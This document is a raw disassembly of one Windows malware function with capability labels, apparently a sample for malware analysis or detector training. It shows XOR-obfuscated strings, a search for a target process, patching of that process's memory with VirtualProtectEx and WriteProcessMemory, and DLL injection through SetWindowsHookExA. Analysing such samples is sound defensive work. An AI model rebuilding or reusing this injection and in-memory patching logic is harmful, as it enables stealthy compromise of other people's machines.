Function at 0x140002330
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Enumerate processes
Execute command
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x700
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rbp + 0x6a8], rax
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov byte [rbp + 0x2e0], bl
lea ecx, [rbx + 8]
call fcn.140004b20
lea rcx, [rbp + 0x2e0]
mov qword [rax], rcx
mov qword [rbp + 0x2e8], rax
lea rcx, [rbp + 0x78]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x1400049e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x70], rax
test rax, rax
je 0x14000357f
mov qword [rbp + 0x2e8], rbx
cmp dword [rbp + 0x78], ebx
je 0x140003573
movaps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp + 0x440], xmm0
lea rcx, [rbp + 0x440]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140003573
xorps xmm0, xmm0
movaps xmmword [rbp + 0x2b0], xmm0
movdqa xmmword [rbp + 0x70], xmm0
movabs rax, 0x91dc7265eb35bed8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
movabs r14, 0xd9dd1a18dc8ad2e6
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
movabs r15, 0x91dc5b4d855cdfb5
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x490], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x498], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x490]
movdqa xmmword [rbp + 0x10], xmm0
movabs rax, 0xb1bb3524f135bee2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
movabs rax, 0xb5bf754afcf8bd80
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
movabs rax, 0xf3c20a61c398fda0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
movabs rax, 0x56cd5e58024b7d5b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x540], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x548], rax
movabs r13, 0x96a16513b3b885cf
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x550], rax
movabs r12, 0x56cd5e762c650e28
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x558], rax
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x540]
vmovdqa ymmword [rbp + 0xe0], ymm1
lea r9, [rbp + 0xe0]
lea r8, [rbp + 0x10]
lea edx, [rbx + 1]
vzeroupper
call fcn.140003a50
movabs rdi, 0x91dc2322e93eb0e7
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x430], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x438], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x430]
movdqa xmmword [rbp + 0x20], xmm0
lea rdx, [rbp + 0x20]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov rsi, rax
mov rcx, rax
call qword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
jne 0x14000263f
mov qword [rbp + 0xc0], 0x64
nop dword [rax]
lea rcx, [rbp + 0xc0]
call fcn.1400038e0
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x430], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x438], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x430]
movdqa xmmword [rbp + 0x20], xmm0
lea rdx, [rbp + 0x20]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov rsi, rax
mov rcx, rax
call qword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x1400025d0
movabs rax, 0x91dc5b4d852fb3d6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x480], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x488], rax
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0x480]
movdqa xmmword [rbp + 0x80], xmm0
lea rcx, [rbp + 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 1
call fcn.140004b20
mov qword [rbp + 0x2d8], rax
lea rcx, [rbp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x140004a10]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x60], rax
test rax, rax
je 0x140003564
mov qword [rbp + 0x2d8], rbx
cmp dword [rbp + 0x68], 0
je 0x140003558
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x2a0], xmm0
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140003558
xorps xmm0, xmm0
movaps xmmword [rbp + 0x2c0], xmm0
movdqa xmmword [rbp + 0x60], xmm0
movabs rax, 0xfd8c2322e93eb0e7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0xb8a97f5aaeefab87
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
movabs rax, 0x96a16513d6c0e0e1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x560], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x568], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x570], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x578], rax
vmovdqu ymm0, ymmword [rbp + 0x560]
vpxor ymm1, ymm0, ymmword [rbp + 0x1c0]
vmovdqa ymmword [rbp + 0x1c0], ymm1
xor edx, edx
lea ecx, [rdx + 2]
vzeroupper
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000285d
mov dword [rbp + 0x300], 0x130
lea rdx, [rbp + 0x300]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140002854
nop dword [rax]
lea rax, [rbp + 0x32c]
lea r8, [rbp + 0x1c0]
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140002834
inc rax
test ecx, ecx
jne 0x140002821
test edx, edx
je 0x14000284e
lea rdx, [rbp + 0x300]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140002810
jmp 0x140002854
mov ebx, dword [rbp + 0x308]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x2d0], ebx
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
movabs rax, 0xe5af2e3ff132b6c2
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x90], rcx
movabs rax, 0xd9dd1a18b0e6b6c8
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x98], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x4a0], rcx
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4a8], rax
movdqa xmm0, xmmword [rbp + 0x90]
xorps xmm0, xmmword [rbp + 0x4a0]
movdqa xmmword [rbp + 0x90], xmm0
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r8, rax
movabs rax, 0xf7b52928d332b6e2
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xa0], rcx
movabs rax, 0xd9dd6e6ba9f8869f
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xa8], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x470], rcx
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x478], rax
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0x470]
movdqa xmmword [rbp + 0xa0], xmm0
lea rdx, [rbp + 0xa0]
mov rcx, r8
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov dword [rbp + 0x6a0], 0x59c03148
mov word [rbp + 0x6a4], 0xe1ff
lea rax, [rbp + 0x2e4]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
lea r8d, [r9 - 0x3a]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
movabs rcx, 0xe5fc3f28e935bef3
movabs rdx, 0xe1fc38cc568bd0ca
movabs r9, 0xbab86e77aefaf289
movabs r10, 0xe4c4337ddaefa5bb
movabs r11, 0x22be2b04781c6841
movabs r8, 0x2d658bb1828fcc79
test eax, eax
jne 0x140002b5e
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
mov qword [rbp], r10
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
mov qword [rbp], r11
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
movabs rax, 0x5445efd8c6a7ec57
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0x95dc56b924aba5a5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movabs rax, 0xd8e564d84f863004
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
movabs rcx, 0x160bafca9e6a4ecc
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x640], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x648], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x650], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x658], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x660], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x668], rax
movabs rax, 0xd8cc5be72ae55973
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x670], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x678], rax
vmovdqu ymm0, ymmword [rbp + 0x640]
vpxor ymm1, ymm0, ymmword [rbp + 0x1e0]
vmovdqa ymmword [rbp + 0x1e0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x200]
vpxor ymm1, ymm0, ymmword [rbp + 0x660]
vmovdqa ymmword [rbp + 0x200], ymm1
lea r9, [rbp + 0x1e0]
lea r8, [rbp + 0x10]
mov edx, 2
vzeroupper
call fcn.140003a50
movabs rdx, 0xe1fc38cc568bd0ca
movabs r8, 0x2d658bb1828fcc79
movabs rax, 0xe5b3293da52bbafb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
movabs rax, 0xf9e77477b5feb183
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
movabs rax, 0xd3f9204cf6ffc49f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
movabs rax, 0x17880c2969315b6b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
movabs rax, 0x2d4bcee5cbdd9b3d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4c0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4c8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4d0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x4d8], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x4e0], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x4e8], rax
vmovdqu ymm0, ymmword [rbp + 0x4c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x260]
vmovdqa ymmword [rbp + 0x260], ymm1
vmovdqa xmm2, xmmword [rbp + 0x280]
vxorps xmm2, xmm2, xmmword [rbp + 0x4e0]
vmovdqa xmmword [rbp + 0x280], xmm2
lea r9, [rbp + 0x260]
lea r8, [rbp + 0x10]
mov edx, 1
vzeroupper
call fcn.140003a50
lea rax, [rbp + 0x2f0]
mov qword [rsp + 0x20], rax
mov r9d, 6
lea r8, [rbp + 0x6a0]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140002d89
movabs rax, 0xe5fc3f28e935bef3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs rax, 0xf9b5796cbdfaf289
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
movabs rax, 0xf0c81776e5d6ec98
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
movabs rax, 0x56e32a0559175a51
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x580], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x588], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x590], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x598], rax
vmovdqu ymm0, ymmword [rbp + 0x580]
vpxor ymm1, ymm0, ymmword [rbp + 0x1a0]
vmovdqa ymmword [rbp + 0x1a0], ymm1
lea r9, [rbp + 0x1a0]
lea r8, [rbp + 0x10]
mov edx, 2
vzeroupper
call fcn.140003a50
lea rax, [rbp + 0x2e4]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
lea r8d, [r9 - 0x1a]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x140002ef5
movabs rax, 0xe5fc3f28e935bef3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
movabs rax, 0xbab86e77aefaf289
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
movabs rax, 0xe4c4337ddaefa5bb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
movabs rax, 0x22be2b04781c6841
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
movabs rax, 0x2d658bb1828fcc57
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rcx, 0xe1fc38cc568bd0ca
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x500], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x508], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x510], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x518], rax
movabs rax, 0x2d658bb1828fcc79
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x520], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x528], rax
vmovdqu ymm0, ymmword [rbp + 0x500]
vpxor ymm1, ymm0, ymmword [rbp + 0x220]
vmovdqa ymmword [rbp + 0x220], ymm1
vmovdqa xmm2, xmmword [rbp + 0x240]
vxorps xmm2, xmm2, xmmword [rbp + 0x520]
vmovdqa xmmword [rbp + 0x240], xmm2
lea r9, [rbp + 0x220]
lea r8, [rbp + 0x10]
mov edx, 2
vzeroupper
call fcn.140003a50
lea rdx, [rbp + 0x2d0]
mov rcx, rsi
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ebx, eax
test eax, eax
jne 0x140002fdd
movabs rax, 0xe5fc2c22e132b6e2
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x160], rcx
movabs rax, 0x9d943a7cbdefa08e
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x168], rcx
movabs rax, 0xf7d70b7a93cbecef
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
movabs rax, 0x56cd5e7602016744
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x178], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x680], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x688], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x690], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x698], rax
vmovdqu ymm0, ymmword [rbp + 0x680]
vpxor ymm1, ymm0, ymmword [rbp + 0x160]
vmovdqa ymmword [rbp + 0x160], ymm1
lea r9, [rbp + 0x160]
lea r8, [rbp + 0x10]
lea edx, [rbx + 2]
vzeroupper
call fcn.140003a50
movabs rax, 0xf8a82824e930bef7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
movabs rax, 0xbcb16f7cb3c78d85
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movabs rax, 0x96a16513dfd4e1e1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x5a0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x5a8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x5b0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x5b8], rax
vmovdqu ymm0, ymmword [rbp + 0x5a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x140]
vmovdqa ymmword [rbp + 0x140], ymm1
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x140]
vzeroupper
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
movabs rdx, 0xb4fd7e76b5ecf289
test rax, rax
jne 0x140003171
movabs rax, 0xe5fc3f28e935bef3
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x180], rcx
mov qword [rbp], rdx
mov rcx, qword [rbp]
mov qword [rbp + 0x188], rcx
movabs rax, 0x96a14b76dfcde1a0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x5c0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x5c8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x5d0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x5d8], rax
vmovdqu ymm0, ymmword [rbp + 0x5c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x180]
vmovdqa ymmword [rbp + 0x180], ymm1
lea r9, [rbp + 0x180]
lea r8, [rbp + 0x10]
lea edx, [rdi + 2]
vzeroupper
call fcn.140003a50
movabs rax, 0xfab33405f124bafb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x460], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x468], rax
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp + 0x460]
movdqa xmmword [rbp + 0xb0], xmm0
lea rdx, [rbp + 0xb0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
jne 0x1400032b8
movabs rax, 0xe5fc3f28e935bef3
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x120], rcx
movabs rax, 0xb4fd7e76b5ecf289
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x128], rcx
movabs rax, 0xf9c94576dfcde1a0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
movabs rax, 0x56cd5e762c4b6547
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x138], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x5e0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x5e8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x5f0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x5f8], rax
vmovdqu ymm0, ymmword [rbp + 0x5e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x120]
vmovdqa ymmword [rbp + 0x120], ymm1
lea r9, [rbp + 0x120]
lea r8, [rbp + 0x10]
lea edx, [rsi + 2]
vzeroupper
call fcn.140003a50
mov r9d, ebx
mov r8, rdi
mov rdx, rsi
mov ecx, 3
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
test rax, rax
jne 0x14000339b
movabs rax, 0xf9fc3e21f038b0f8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0xb5b47b7efce1bd89
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0x96a16513b396e1aa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x600], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x608], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x610], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x618], rax
vmovdqu ymm0, ymmword [rbp + 0x600]
vpxor ymm1, ymm0, ymmword [rbp + 0x100]
vmovdqa ymmword [rbp + 0x100], ymm1
lea r9, [rbp + 0x100]
lea r8, [rbp + 0x10]
mov edx, 2
vzeroupper
call fcn.140003a50
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, ebx
call qword [sym.imp.USER32.dll_PostThreadMessageA]
test eax, eax
jne 0x14000346e
movabs rax, 0xe5fc3f28e935bef3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0xadfd6e6bb3faf289
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0xf3cc4577d2ddf7a7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rax, 0x56cd70134b047d5b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x620], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x628], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x630], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x638], rax
vmovdqu ymm0, ymmword [rbp + 0x620]
vpxor ymm1, ymm0, ymmword [rbp + 0x40]
vmovdqa ymmword [rbp + 0x40], ymm1
lea r9, [rbp + 0x40]
lea r8, [rbp + 0x10]
mov edx, 2
vzeroupper
call fcn.140003a50
movabs rax, 0xf0fc3e21f038b0f8
mov qword [rbp + 0x2d8], rax
mov rax, qword [rbp + 0x2d8]
mov qword [rbp + 0x40], rax
movabs rax, 0xf9b97f70bfeba692
mov qword [rbp + 0x2d8], rax
mov rax, qword [rbp + 0x2d8]
mov qword [rbp + 0x48], rax
movabs rax, 0xf0d21676d0dbf0bc
mov qword [rbp + 0x2d8], rax
mov rax, qword [rbp + 0x2d8]
mov qword [rbp + 0x50], rax
movabs rax, 0x56cd5e585509625d
mov qword [rbp + 0x2d8], rax
mov rax, qword [rbp + 0x2d8]
mov qword [rbp + 0x58], rax
mov qword [rbp + 0x2d8], r15
mov rax, qword [rbp + 0x2d8]
mov qword [rbp + 0x440], rax
mov qword [rbp + 0x2d8], r14
mov rax, qword [rbp + 0x2d8]
mov qword [rbp + 0x448], rax
mov qword [rbp + 0x2d8], r13
mov rax, qword [rbp + 0x2d8]
mov qword [rbp + 0x450], rax
mov qword [rbp + 0x2d8], r12
mov rax, qword [rbp + 0x2d8]
mov qword [rbp + 0x458], rax
vmovdqu ymm0, ymmword [rbp + 0x440]
vpxor ymm1, ymm0, ymmword [rbp + 0x40]
vmovdqa ymmword [rbp + 0x40], ymm1
lea r9, [rbp + 0x40]
lea r8, [rbp + 0x10]
xor edx, edx
vzeroupper
call fcn.140003a50
jmp 0x140003556
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x68], ebx
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x78], ebx
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3